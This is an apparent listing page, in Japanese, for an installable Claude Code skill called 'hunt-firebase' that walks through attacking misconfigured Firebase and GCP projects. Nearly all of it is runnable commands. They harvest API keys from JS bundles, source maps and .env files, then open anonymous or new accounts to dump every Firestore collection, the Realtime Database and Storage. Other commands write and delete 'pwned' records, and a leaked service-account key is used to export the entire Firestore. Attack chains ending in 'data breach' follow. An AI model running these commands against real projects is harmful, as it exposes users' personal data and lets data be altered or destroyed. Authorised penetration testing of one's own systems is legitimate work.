hunt-firebase について
Firebase、Firestore、GCP の露出を調べるセキュリティテスト用スキルです。設定の発見からデータベース、ストレージ、認証、サービスアカウントのアクセス確認までを案内し、公開設定と実際のリスクを区別します。
主な機能
- 01Firebase 設定とプロジェクト識別子の発見
- 02Firestore の読み書きルール確認
- 03Realtime Database のアクセス調査
- 04Storage のファイルアクセス確認
- 05Auth 登録とサービスアカウント露出の検証
- 06深刻度評価と誤検知の回避
活用シーン
- 01許可された対象の Firebase 設定を監査
- 02Firestore または Realtime Database のルール確認
- 03Storage が機密ファイルを公開していないか調査
- 04漏えいしたサービスアカウント認証情報の影響評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-firebaseインストール後、Claude Code で/hunt-firebaseを入力して読み込まれたか確認します。
詳細
HUNT-FIREBASE — Firebase / Firestore / GCP の悪用
最重要標的
Firebase は Google のモバイル/ウェブプラットフォームです。開発者がクライアントに API key を埋め込む場合(Firebase SDK では必須です)、Firestore Security Rules または Realtime Database Rules の設定を忘れることが多く、その結果、すべてのデータが公開状態で読み書き可能になります。
最も価値の高い発見事項:
- 公開 Firestore データベース — 匿名キーで ALL コレクションの読み書きが可能 → データを完全にダンプ可能(ユーザー、メッセージ、PII)。重大。
- 公開 Realtime Database —
{database}.firebaseio.com/.jsonから認証なしですべてのデータを取得できます。重大。 - 読み取りが公開された Firebase Storage — ストレージバケットで匿名のファイル一覧表示とダウンロードが可能です。重大。
- Firebase のサインアップが開放状態 — 誰でも認証アカウントを作成でき、その後 JWT を使用して Firestore にアクセスできます。高。
- サービスアカウント JSON の漏えい — Firestore、Storage、Cloud Functions、IAM ポリシーへの GCP IAM フルアクセスが可能です。重大。
- 設定情報が漏えいした Firebase Hosting — ホスティング上の静的ファイルからプロジェクト ID と API key が判明します。
フェーズ 1 — Firebase プロジェクトを見つける
Firebase は API key の形式で識別できます:AIzaSy[0-9A-Za-z_-]{35}
1.1 JS バンドルを検索
# Download the main page and its JS bundles
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" -o /tmp/index.html
grep -Eo 'src="[^"]*\.js"' /tmp/index.html | cut -d'"' -f2 | while read js; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done
# Search for Firebase API keys in all downloaded JS
grep -rEn 'AIza[0-9A-Za-z_-]{35}' /tmp/*.js
# Search for firebaseConfig
grep -rEn 'firebaseConfig|firebase.initializeApp|apiKey|authDomain' /tmp/*.js --include="*.js"
# Search for Firebase URLs
grep -rEn 'firebaseio|firestore|firebasestorage|firebaseapp' /tmp/*.js --include="*.js"
# Quick one-liner for any page
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
1.2 ソースマップを検索
# First find source maps
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\"]+' | cut -d= -f2 | while read sm; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done
# Extract all source files from maps
cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re, os
try:
data = json.load(sys.stdin)
sources = data.get('sourcesContent', [])
for src in sources:
if not src: continue
keys = re.findall(r'AIza[0-9A-Za-z_-]{35}', src)
for k in keys:
print(f'FIREBASE_API_KEY: {k}')
urls = re.findall(r'https://[^\"'\"]+firebaseio[^\"'\"]+', src)
for u in urls:
print(f'FIREBASE_URL: {u}')
except: pass
" 2>/dev/null
1.3 .env と設定ファイルを検索
# Firebase config often lives in .env
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "FIREBASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "FIREBASE"
# Search in exposed JSON config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/service-account.json" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/firebase.json" | python3 -m json.tool 2>/dev/null
フェーズ 2 — Firebase プロジェクトの偵察
Firebase API key(形式:AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX)を入手したら、プロジェクトを調査できます。
2.1 Firebase プロジェクト ID を特定
# The project ID is encoded in the API key or can be found in the authDomain
# Auth domain pattern: <PROJECT_ID>.firebaseapp.com
API_KEY="AIzaSy..."
# Method 1: Try to sign in anonymously to get the project info
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken": true}'
# Response includes: idToken, localId, refreshToken, expiresIn
# Method 2: Check if a known project ID works
for project in "$TARGET" "${TARGET%.*}" "app-${TARGET%.*}" "${TARGET//./-}"; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$project.firebaseio.com/.json")
[ "$code" != "404" ] && echo "Hit: $project.firebaseio.com (HTTP $code)"
done
# Method 3: Search for the project ID in the bundle alongside the key
grep -B5 -A5 "AIzaSy" /tmp/*.js 2>/dev/null
2.2 Firebase プロジェクトを列挙
# Once project ID is known, probe all Firebase services
PROJECT="your-firebase-project-id"
API_KEY="AIzaSy..."
# Firestore REST API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY"
# If rules are permissive -> returns all documents
# Realtime Database
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"
# Firebase Storage
# Two common formats:
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/$PROJECT.appspot.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebasestorage.app"
# Firebase Hosting
curl --max-time 30 --connect-timeout 10 -skI "https://$PROJECT.firebaseapp.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.web.app"
フェーズ 3 — Firestore データベースの悪用
Firestore Security Rules は、誰が読み書きできるかを制御します。設定ミスがあり(読み取りが true に設定されている場合)、データベース全体が公開状態になります。
3.1 コレクションを一覧表示(匿名キーを使用)
API_KEY="AIzaSy..."
PROJECT="your-project-id"
# Step 1: Sign in anonymously
ANON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken": true}')
ID_TOKEN=$(echo "$ANON_RESP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('idToken', 'NO_TOKEN'))")
if [ "$ID_TOKEN" != "NO_TOKEN" ]; then
echo "[+] Anonymous auth token obtained"
# Step 2: List all documents in root collection
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
docs = d.get('documents', [])
print(f'Documents: {len(docs)}')
for doc in docs[:20]:
path = doc.get('name', '').split('/')[-1]
print(f' Document: {path}')
fields = doc.get('fields', {})
for key, val in fields.items():
val_type = list(val.keys())[0] if val else 'unknown'
val_snippet = str(list(val.values())[0])[:50] if val else ''
print(f' {key}: {val_snippet}')
except Exception as e:
print(f'No data: {e}')
"
else
echo "[-] Cannot obtain anonymous auth token"
fi
3.2 すべてのコレクションをダンプ(再帰的)
# Firestore collection group query — enumerate ALL collections
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:listCollectionIds?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" \
-X POST -d '{}'
# For each collection, dump documents
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/{COLLECTION_NAME}?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN"
# Run collectionGroup query (finds nested collections too)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:runQuery?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"structuredQuery": {"from": [{"collectionId": "*"}]}}'
3.3 書き込みアクセスをテスト
# Try to write a document (only if rules allow)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"fields": {"test": {"stringValue": "pwned"}}}'
# If 200 -> write access confirmed -> CRITICAL
# Try to delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection/TEST_DOC?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN"
# If 200 -> delete access confirmed -> CRITICAL
フェーズ 4 — Realtime Database の悪用
Firebase Realtime Database は異なる API パスを使用します。
# Read entire database (if rules allow public read)
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?print=pretty"
# With auth token
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"
# Specific path
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/users.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/messages.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/config.json"
# Test write
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://$PROJECT.firebaseio.com/test.json" \
-H "Content-Type: application/json" \
-d '{"pwned": true}'
# Test delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://$PROJECT.firebaseio.com/test.json"
フェーズ 5 — Firebase Storage の悪用
# List all files in the default storage bucket
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY" | \
python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
items = d.get('items', [])
for item in items:
name = item.get('name', '')
bucket = item.get('bucket', '')
print(f'{bucket}: {name}')
except Exception as e:
print(f'Error: {e}')
"
# Download a specific file
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o/{ENCODED_FILE_PATH}?alt=media&key=$API_KEY" \
-o /tmp/firebase_file
# Upload a file (test write access)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?name=test_pwned.txt&key=$API_KEY" \
-H "Content-Type: text/plain" \
-d "pwned"
フェーズ 6 — Firebase Auth の悪用
6.1 サインアップ(メール/パスワード認証が有効な場合)
# Create an auth account
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "Password123!",
"returnSecureToken": true
}'
# If 200 -> anyone can create accounts!
6.2 サインイン
# Sign in with known credentials
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "Password123!",
"returnSecureToken": true
}'
# Extract idToken -> use for Firestore/RTDB/Storage access
ID_TOKEN=$(...)
6.3 認証プロバイダーを一覧表示
# Check which auth providers are enabled
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"identifier": "[email protected]", "continueUri": "http://localhost"}'
# Response shows: allSignInMethods (password, google.com, facebook.com, etc.)
フェーズ 7 — サービスアカウント JSON の悪用
Firebase/GCP のサービスアカウント JSON ファイルを見つけた場合:
# The file looks like:
# {
# "type": "service_account",
# "project_id": "...",
# "private_key_id": "...",
# "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
# "client_email": "[email protected]",
# "client_id": "...",
# "auth_uri": "https://accounts.google.com/o/oauth2/auth",
# "token_uri": "https://oauth2.googleapis.com/token"
# }
# Save it and authenticate with gcloud
echo '{"type": "service_account", ...}' > /tmp/sa-key.json
# Authenticate
gcloud auth activate-service-account --key-file=/tmp/sa-key.json
# List all accessible resources
gcloud projects get-iam-policy $PROJECT_ID
gcloud iam service-accounts list
gcloud firestore databases list
gcloud storage buckets list
gcloud functions list
gcloud run services list
# Firestore read using the service account
gcloud firestore export gs://$BUCKET/export/ # Export entire Firestore
# Access Firestore REST API with JWT
# The service account can generate its own OAuth tokens
OAUTH_TOKEN=$(gcloud auth print-access-token)
# Use token for Firestore API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents" \
-H "Authorization: Bearer $OAUTH_TOKEN"
# IAM exploration
curl --max-time 30 --connect-timeout 10 -sk "https://cloudresourcemanager.googleapis.com/v1/projects/$PROJECT_ID:getIamPolicy" \
-H "Authorization: Bearer $OAUTH_TOKEN" \
-X POST -H "Content-Type: application/json" -d '{}'
フェーズ 8 — 攻撃チェーン
チェーン A:JS 内の API Key -> 匿名認証 -> Firestore のダンプ
JS bundle contains Firebase API key (AIzaSy...) ->
Sign in anonymously (accounts:signUp) ->
Get ID token ->
List Firestore collections ->
Dump ALL documents -> Data breach
チェーン B:JS 内の API Key -> 開放されたサインアップ -> 認証 -> 書き込みアクセス
Firebase config found in JS ->
Email/password signUp enabled (not just anon) ->
Anyone creates accounts ->
Access Firestore with credentials ->
Write malicious data or delete collections
チェーン C:サービスアカウント JSON -> GCP フルアクセス
SA key found in .env or leaked repo ->
gcloud auth activate-service-account ->
Get IAM policy ->
List all resources ->
Export Firestore, access Storage, invoke Cloud Functions
検証時の重大度
| 発見事項 | 重大度 |
|---|---|
| Firestore の公開読み取り(PII を含むコレクションをダンプ可能) | 重大 |
| Firestore の公開書き込み(ドキュメントの作成/削除が可能) | 重大 |
| Realtime Database の公開読み取り(.json 全体をダンプ可能) | 重大 |
| Firebase Storage の公開一覧表示/ダウンロード | 高 |
| 開放されたサインアップ(誰でもアカウントを作成可能) | 高 |
| サービスアカウント JSON の露出 | 重大 |
| API key の発見(それ以上のアクセスなし) | 低〜中 |
| Firebase Hosting の静的サイトの露出 | 情報 |
| Firebase プロジェクト ID の露出(キーなし) | 情報 |
Firebase でよく見られる発見事項の形式
# Quick test: does the target use Firebase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'firebaseio\.com|firestore\.googleapis|firebaseapp\.com'
# Check Google dorks for Firebase
# site:target.com "firebase"
# site:target.com "AIzaSy" filetype:js
# site:target.com "firebaseConfig"
検証
Firebase の調査準備が整っていることを確認するには、次のセルフテストを実行します:
-
スキルの完全性 — スキルファイルが読み取り可能で、正しい形式であることを確認します:
grep -q "name: hunt-firebase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
注意点のセクション — 注意点が記載されていることを確認します:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用準備が整っていることを確認できます。
注意点
- 機密データを含まない公開 Firebase 設定 — Firebase 設定オブジェクトは意図的に公開されています。データベースまたはストレージに書き込み可能な場合、あるいは PII が含まれている場合にのみ報告してください。
- 書き込みを伴わない Realtime DB ルールのテスト —
.jsonの読み取りは偵察です。.jsonへの書き込みが永続化されることを確認すれば、設定ミスの証明になります。 - Firestore の公開読み取り —
/documents/public_configではなく、/documents/usersをテストして PII を確認してください。 - オブジェクトを読み取れないストレージバケットの一覧表示 — 一覧表示できるバケットは参考情報にすぎません。機密情報を含むオブジェクトを読み取れる必要があります。
- API キーのスコープテスト — Firebase API キーは秘密情報ではなく、識別子です。キーが存在することだけでなく、そのキーで何にアクセスできるかをテストしてください。